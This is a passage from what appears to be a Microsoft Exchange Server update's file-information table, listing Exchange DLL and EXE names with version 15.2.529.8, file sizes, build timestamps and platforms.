01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.addressbook.service.eventlog.dll| 15.2.529.8| 15,736| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.airsync.airsyncmsg.dll| 15.2.529.8| 43,384| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.airsync.comon.dll| 15.2.529.8| 1,776,232| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.airsync.dll1| 15.2.529.8| 505,416| 01-Jan-2020| 11:19| Not applicable \nMicrosoft.exchange.airsynchandler.dll| 15.2.529.8| 76,152| 01-Jan-2020| 11:25| x86 \nMicrosoft.exchange.anchorservice.dll| 15.2.529.8| 135,552| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.antispam.eventlog.dll| 15.2.529.8| 23,424| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.antispamupdate.eventlog.dll| 15.2.529.8| 15,736| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.antispamupdatesvc.exe| 15.2.529.8| 27,216| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.approval.applications.dll| 15.2.529.8| 53,632| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.assistants.dll| 15.2.529.8| 925,056| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.assistants.eventlog.dll| 15.2.529.8| 26,192| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.assistants.interfaces.dll| 15.2.529.8| 43,384| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.audit.azureclient.dll| 15.2.529.8| 15,224| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.auditlogsearch.eventlog.dll| 15.2.529.8| 14,712| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.auditlogsearchservicelet.dll| 15.2.529.8| 70,520| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.auditstoragemonitorservicelet.dll| 15.2.529.8| 94,592| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.auditstoragemonitorservicelet.eventlog.dll| 15.2.529.8| 13,176| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.authadmin.eventlog.dll| 15.2.529.8| 15,744| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.authadminservicelet.dll| 15.2.529.8| 36,944| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.authservicehostservicelet.dll| 15.2.529.8| 15,736| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.autodiscover.configuration.dll| 15.2.529.8| 79,736| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.autodiscover.dll| 15.2.529.8| 396,160| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.autodiscover.eventlogs.dll| 15.2.529.8| 21,368| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.autodiscoverv2.dll| 15.2.529.8| 57,424| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.bandwidthmonitorservicelet.dll| 15.2.529.8| 14,712| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.batchservice.dll| 15.2.529.8| 35,704| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.cabutility.dll| 15.2.529.8| 276,352| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.certificatedeployment.eventlog.dll| 15.2.529.8| 16,456| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.certificatedeploymentservicelet.dll| 15.2.529.8| 25,976| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.certificatenotification.eventlog.dll| 15.2.529.8| 13,688| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.certificatenotificationservicelet.dll| 15.2.529.8| 23,416| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.clients.common.dll| 15.2.529.8| 376,704| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.clients.eventlogs.dll| 15.2.529.8| 83,840| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.clients.owa.dll| 15.2.529.8| 2,971,008| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.clients.owa2.server.dll| 15.2.529.8| 5,029,752| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.clients.owa2.servervariantconfiguration.dll| 15.2.529.8| 893,816| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.clients.security.dll| 15.2.529.8| 413,776| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.clients.strings.dll| 15.2.529.8| 924,544| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.cluster.bandwidthmonitor.dll| 15.2.529.8| 31,824| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.cluster.common.dll| 15.2.529.8| 52,296| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.cluster.common.extensions.dll| 15.2.529.8| 21,888| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.cluster.diskmonitor.dll| 15.2.529.8| 33,656| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.cluster.replay.dll| 15.2.529.8| 3,515,264| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.cluster.replicaseeder.dll| 15.2.529.8| 108,616| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.cluster.replicavsswriter.dll| 15.2.529.8| 288,632| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.cluster.shared.dll| 15.2.529.8| 625,744| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.common.agentconfig.transport.dll| 15.2.529.8| 86,400| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.common.componentconfig.transport.dll| 15.2.529.8| 1,831,504| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.common.directory.adagentservicevariantconfig.dll| 15.2.529.8| 31,608| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.common.directory.directoryvariantconfig.dll| 15.2.529.8| 465,792| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.common.directory.domtvariantconfig.dll| 15.2.529.8| 25,464| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.common.directory.ismemberofresolverconfig.dll| 15.2.529.8| 38,272| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.common.directory.tenantrelocationvariantconfig.dll| 15.2.529.8| 102,776| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.common.directory.topologyservicevariantconfig.dll| 15.2.529.8| 48,504| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.common.diskmanagement.dll| 15.2.529.8| 67,448| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.common.dll| 15.2.529.8| 172,920| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.common.encryption.variantconfig.dll| 15.2.529.8| 113,528| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.common.il.dll| 15.2.529.8| 13,904| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.common.inference.dll| 15.2.529.8| 130,424| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.common.optics.dll| 15.2.529.8| 63,864| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.common.processmanagermsg.dll| 15.2.529.8| 19,832| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.common.protocols.popimap.dll| 15.2.529.8| 15,440| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.common.search.dll| 15.2.529.8| 108,920| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.common.search.eventlog.dll| 15.2.529.8| 17,792| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.common.smtp.dll| 15.2.529.8| 51,576| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.common.suiteservices.suiteservicesvariantconfig.dll| 15.2.529.8| 36,728| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.common.transport.azure.dll| 15.2.529.8| 27,512| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.common.transport.monitoringconfig.dll| 15.2.529.8| 1,042,512| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.commonmsg.dll| 15.2.529.8| 29,264| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.compliance.auditlogpumper.messages.dll| 15.2.529.8| 13,176| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.compliance.auditservice.core.dll| 15.2.529.8| 181,328| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.compliance.auditservice.messages.dll| 15.2.529.8| 30,080| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.compliance.common.dll| 15.2.529.8| 22,400| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.compliance.crimsonevents.dll| 15.2.529.8| 85,880| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.compliance.dll| 15.2.529.8| 41,336| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.compliance.recordreview.dll| 15.2.529.8| 37,248| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.compliance.supervision.dll| 15.2.529.8| 50,768| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.compliance.taskcreator.dll| 15.2.529.8| 33,144| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.compliance.taskdistributioncommon.dll| 15.2.529.8| 1,100,152| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.compliance.taskdistributionfabric.dll| 15.2.529.8| 206,712| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.compliance.taskplugins.dll| 15.2.529.8| 210,816| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.compression.dll| 15.2.529.8| 17,280| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.configuration.certificateauth.dll| 15.2.529.8| 37,760| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.configuration.certificateauth.eventlog.dll| 15.2.529.8| 14,208| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.configuration.core.dll| 15.2.529.8| 145,792| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.configuration.core.eventlog.dll| 15.2.529.8| 14,208| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.configuration.delegatedauth.dll| 15.2.529.8| 53,112| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.configuration.delegatedauth.eventlog.dll| 15.2.529.8| 15,744| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.configuration.diagnosticsmodules.dll| 15.2.529.8| 23,632| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.configuration.diagnosticsmodules.eventlog.dll| 15.2.529.8| 13,184| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.configuration.failfast.dll| 15.2.529.8| 54,648| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.configuration.failfast.eventlog.dll| 15.2.529.8| 13,688| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.configuration.objectmodel.dll| 15.2.529.8| 1,845,840| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.configuration.objectmodel.eventlog.dll| 15.2.529.8| 30,288| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.configuration.redirectionmodule.dll| 15.2.529.8| 68,688| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.configuration.redirectionmodule.eventlog.dll| 15.2.529.8| 15,440| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.configuration.remotepowershellbackendcmdletproxymodule.dll| 15.2.529.8| 21,376| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.configuration.remotepowershellbackendcmdletproxymodule.eventlog.dll| 15.2.529.8| 13,184| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.connectiondatacollector.dll| 15.2.529.8| 25,976| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.connections.common.dll| 15.2.529.8| 169,856| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.connections.eas.dll| 15.2.529.8| 330,112| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.connections.imap.dll| 15.2.529.8| 174,152| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.connections.pop.dll| 15.2.529.8| 71,240| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.contentfilter.wrapper.exe| 15.2.529.8| 203,640| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.context.client.dll| 15.2.529.8| 27,008| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.context.configuration.dll| 15.2.529.8| 51,576| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.context.core.dll| 15.2.529.8| 51,064| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.context.datamodel.dll| 15.2.529.8| 46,976| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.core.strings.dll| 15.2.529.8| 1,093,496| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.core.timezone.dll| 15.2.529.8| 57,208| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.data.applicationlogic.deep.dll| 15.2.529.8| 326,736| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.data.applicationlogic.dll| 15.2.529.8| 3,352,952| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.data.applicationlogic.eventlog.dll| 15.2.529.8| 35,920| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.data.applicationlogic.monitoring.ifx.dll| 15.2.529.8| 17,792| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.data.connectors.dll| 15.2.529.8| 165,240| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.data.consumermailboxprovisioning.dll| 15.2.529.8| 619,600| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.data.directory.dll| 15.2.529.8| 7,788,624| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.data.directory.eventlog.dll| 15.2.529.8| 80,488| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.data.dll| 15.2.529.8| 1,789,312| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.data.groupmailboxaccesslayer.dll| 15.2.529.8| 1,626,488| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.data.ha.dll| 15.2.529.8| 375,168| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.data.imageanalysis.dll| 15.2.529.8| 105,848| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.data.mailboxfeatures.dll| 15.2.529.8| 15,952| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.data.mailboxloadbalance.dll| 15.2.529.8| 224,640| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.data.mapi.dll| 15.2.529.8| 186,752| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.data.metering.contracts.dll| 15.2.529.8| 39,800| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.data.metering.dll| 15.2.529.8| 119,160| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.data.msosyncxsd.dll| 15.2.529.8| 968,288| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.data.notification.dll| 15.2.529.8| 141,384| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.data.personaldataplatform.dll| 15.2.529.8| 769,608| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.data.providers.dll| 15.2.529.8| 139,640| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.data.provisioning.dll| 15.2.529.8| 56,696| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.data.rightsmanagement.dll| 15.2.529.8| 452,984| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.data.scheduledtimers.dll| 15.2.529.8| 32,640| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.data.storage.clientstrings.dll| 15.2.529.8| 256,896| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.data.storage.dll| 15.2.529.8| 11,809,864| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.data.storage.eventlog.dll| 15.2.529.8| 37,760| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.data.storageconfigurationresources.dll| 15.2.529.8| 655,736| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.data.storeobjects.dll| 15.2.529.8| 175,488| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.data.throttlingservice.client.dll| 15.2.529.8| 36,224| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.data.throttlingservice.client.eventlog.dll| 15.2.529.8| 14,200| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.data.throttlingservice.eventlog.dll| 15.2.529.8| 14,416| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.datacenter.management.activemonitoring.recoveryservice.eventlog.dll| 15.2.529.8| 14,928| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.datacenterstrings.dll| 15.2.529.8| 72,808| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.delivery.eventlog.dll| 15.2.529.8| 13,392| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.diagnostics.certificatelogger.dll| 15.2.529.8| 22,912| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.diagnostics.dll| 15.2.529.8| 2,212,736| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.diagnostics.performancelogger.dll| 15.2.529.8| 23,936| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.diagnostics.service.common.dll| 15.2.529.8| 546,680| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.diagnostics.service.eventlog.dll| 15.2.529.8| 215,416| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.diagnostics.service.exchangejobs.dll| 15.2.529.8| 194,640| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.diagnostics.service.exe| 15.2.529.8| 146,304| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.diagnostics.service.fuseboxperfcounters.dll| 15.2.529.8| 27,520| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.diagnosticsaggregation.eventlog.dll| 15.2.529.8| 13,696| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.diagnosticsaggregationservicelet.dll| 15.2.529.8| 49,528| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.directory.topologyservice.eventlog.dll| 15.2.529.8| 28,240| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.directory.topologyservice.exe| 15.2.529.8| 208,768| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.disklocker.events.dll| 15.2.529.8| 88,960| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.disklocker.interop.dll| 15.2.529.8| 32,632| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.drumtesting.calendarmigration.dll| 15.2.529.8| 46,160| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.drumtesting.common.dll| 15.2.529.8| 19,024| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.dxstore.dll| 15.2.529.8| 473,680| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.dxstore.ha.events.dll| 15.2.529.8| 206,208| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.dxstore.ha.instance.exe| 15.2.529.8| 36,936| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.eac.flighting.dll| 15.2.529.8| 131,664| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.edgecredentialsvc.exe| 15.2.529.8| 21,888| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.edgesync.common.dll| 15.2.529.8| 148,352| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.edgesync.datacenterproviders.dll| 15.2.529.8| 220,024| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.edgesync.eventlog.dll| 15.2.529.8| 23,928| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.edgesyncsvc.exe| 15.2.529.8| 97,896| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.ediscovery.export.dll| 15.2.529.8| 1,266,256| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.ediscovery.export.dll.deploy| 15.2.529.8| 1,266,256| 01-Jan-2020| 11:19| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.application| Not applicable| 15,848| 01-Jan-2020| 11:19| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.exe.deploy| 15.2.529.8| 87,416| 01-Jan-2020| 11:22| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.manifest| Not applicable| 66,576| 01-Jan-2020| 11:21| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.strings.dll.deploy| 15.2.529.8| 52,088| 01-Jan-2020| 11:21| Not applicable \nMicrosoft.exchange.ediscovery.mailboxsearch.dll| 15.2.529.8| 292,216| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.birthdaycalendar.dll| 15.2.529.8| 73,296| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.booking.defaultservicesettings.dll| 15.2.529.8| 45,952| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.booking.dll| 15.2.529.8| 218,496| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.booking.management.dll| 15.2.529.8| 78,208| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.bookings.dll| 15.2.529.8| 35,704| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.calendaring.dll| 15.2.529.8| 936,552| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.common.dll| 15.2.529.8| 336,256| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.connectors.dll| 15.2.529.8| 52,600| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.contentsubmissions.dll| 15.2.529.8| 32,128| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.context.dll| 15.2.529.8| 60,800| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.datamodel.dll| 15.2.529.8| 853,880| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.entities.fileproviders.dll| 15.2.529.8| 291,712| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.foldersharing.dll| 15.2.529.8| 39,288| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.entities.holidaycalendars.dll| 15.2.529.8| 76,360| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.insights.dll| 15.2.529.8| 166,992| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.meetinglocation.dll| 15.2.529.8| 1,486,720| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.meetingparticipants.dll| 15.2.529.8| 122,448| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.entities.meetingtimecandidates.dll| 15.2.529.8| 12,327,288| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.onlinemeetings.dll| 15.2.529.8| 264,056| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.people.dll| 15.2.529.8| 37,752| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.peopleinsights.dll| 15.2.529.8| 186,960| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.reminders.dll| 15.2.529.8| 64,592| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.schedules.dll| 15.2.529.8| 84,064| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.entities.shellservice.dll| 15.2.529.8| 63,872| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.tasks.dll| 15.2.529.8| 100,224| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entities.xrm.dll| 15.2.529.8| 144,768| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.entityextraction.calendar.dll| 15.2.529.8| 270,200| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.eserepl.common.dll| 15.2.529.8| 15,224| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.eserepl.configuration.dll| 15.2.529.8| 15,744| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.eserepl.dll| 15.2.529.8| 130,424| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.ews.configuration.dll| 15.2.529.8| 254,336| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.exchangecertificate.eventlog.dll| 15.2.529.8| 13,184| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.exchangecertificateservicelet.dll| 15.2.529.8| 37,240| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.extensibility.internal.dll| 15.2.529.8| 640,592| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.extensibility.partner.dll| 15.2.529.8| 37,240| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.federateddirectory.dll| 15.2.529.8| 146,512| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.ffosynclogmsg.dll| 15.2.529.8| 13,184| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.frontendhttpproxy.dll| 15.2.529.8| 594,296| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.frontendhttpproxy.eventlogs.dll| 15.2.529.8| 14,712| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.frontendtransport.monitoring.dll| 15.2.529.8| 30,072| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.griffin.variantconfiguration.dll| 15.2.529.8| 99,704| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.hathirdpartyreplication.dll| 15.2.529.8| 42,360| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.helpprovider.dll| 15.2.529.8| 40,320| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.httpproxy.addressfinder.dll| 15.2.529.8| 54,136| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.httpproxy.common.dll| 15.2.529.8| 164,224| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.httpproxy.diagnostics.dll| 15.2.529.8| 58,952| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.httpproxy.flighting.dll| 15.2.529.8| 204,160| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.httpproxy.passivemonitor.dll| 15.2.529.8| 17,784| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.httpproxy.proxyassistant.dll| 15.2.529.8| 30,800| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.httpproxy.routerefresher.dll| 15.2.529.8| 38,784| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.httpproxy.routeselector.dll| 15.2.529.8| 48,504| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.httpproxy.routing.dll| 15.2.529.8| 180,608| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.httpredirectmodules.dll| 15.2.529.8| 36,736| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.httputilities.dll| 15.2.529.8| 25,976| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.hygiene.data.dll| 15.2.529.8| 1,868,152| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.hygiene.diagnosisutil.dll| 15.2.529.8| 54,864| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.hygiene.eopinstantprovisioning.dll| 15.2.529.8| 35,912| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.idserialization.dll| 15.2.529.8| 35,920| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.imap4.eventlog.dll| 15.2.529.8| 18,296| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.imap4.eventlog.dll.fe| 15.2.529.8| 18,296| 01-Jan-2020| 11:21| Not applicable \nMicrosoft.exchange.imap4.exe| 15.2.529.8| 263,040| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.imap4.exe.fe| 15.2.529.8| 263,040| 01-Jan-2020| 11:23| Not applicable \nMicrosoft.exchange.imap4service.exe| 15.2.529.8| 25,160| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.imap4service.exe.fe| 15.2.529.8| 25,160| 01-Jan-2020| 11:21| Not applicable \nMicrosoft.exchange.imapconfiguration.dl1| 15.2.529.8| 53,328| 01-Jan-2020| 11:19| Not applicable \nMicrosoft.exchange.inference.common.dll| 15.2.529.8| 217,160| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.inference.hashtagsrelevance.dll| 15.2.529.8| 32,128| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.inference.peoplerelevance.dll| 15.2.529.8| 282,192| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.inference.ranking.dll| 15.2.529.8| 19,016| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.inference.safetylibrary.dll| 15.2.529.8| 83,832| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.inference.service.eventlog.dll| 15.2.529.8| 15,232| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.infoworker.assistantsclientresources.dll| 15.2.529.8| 94,072| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.infoworker.common.dll| 15.2.529.8| 1,840,000| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.infoworker.eventlog.dll| 15.2.529.8| 71,544| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.infoworker.meetingvalidator.dll| 15.2.529.8| 175,488| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.instantmessaging.dll| 15.2.529.8| 45,944| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.irm.formprotector.dll| 15.2.529.8| 159,608| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.irm.msoprotector.dll| 15.2.529.8| 51,072| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.irm.ofcprotector.dll| 15.2.529.8| 46,160| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.isam.databasemanager.dll| 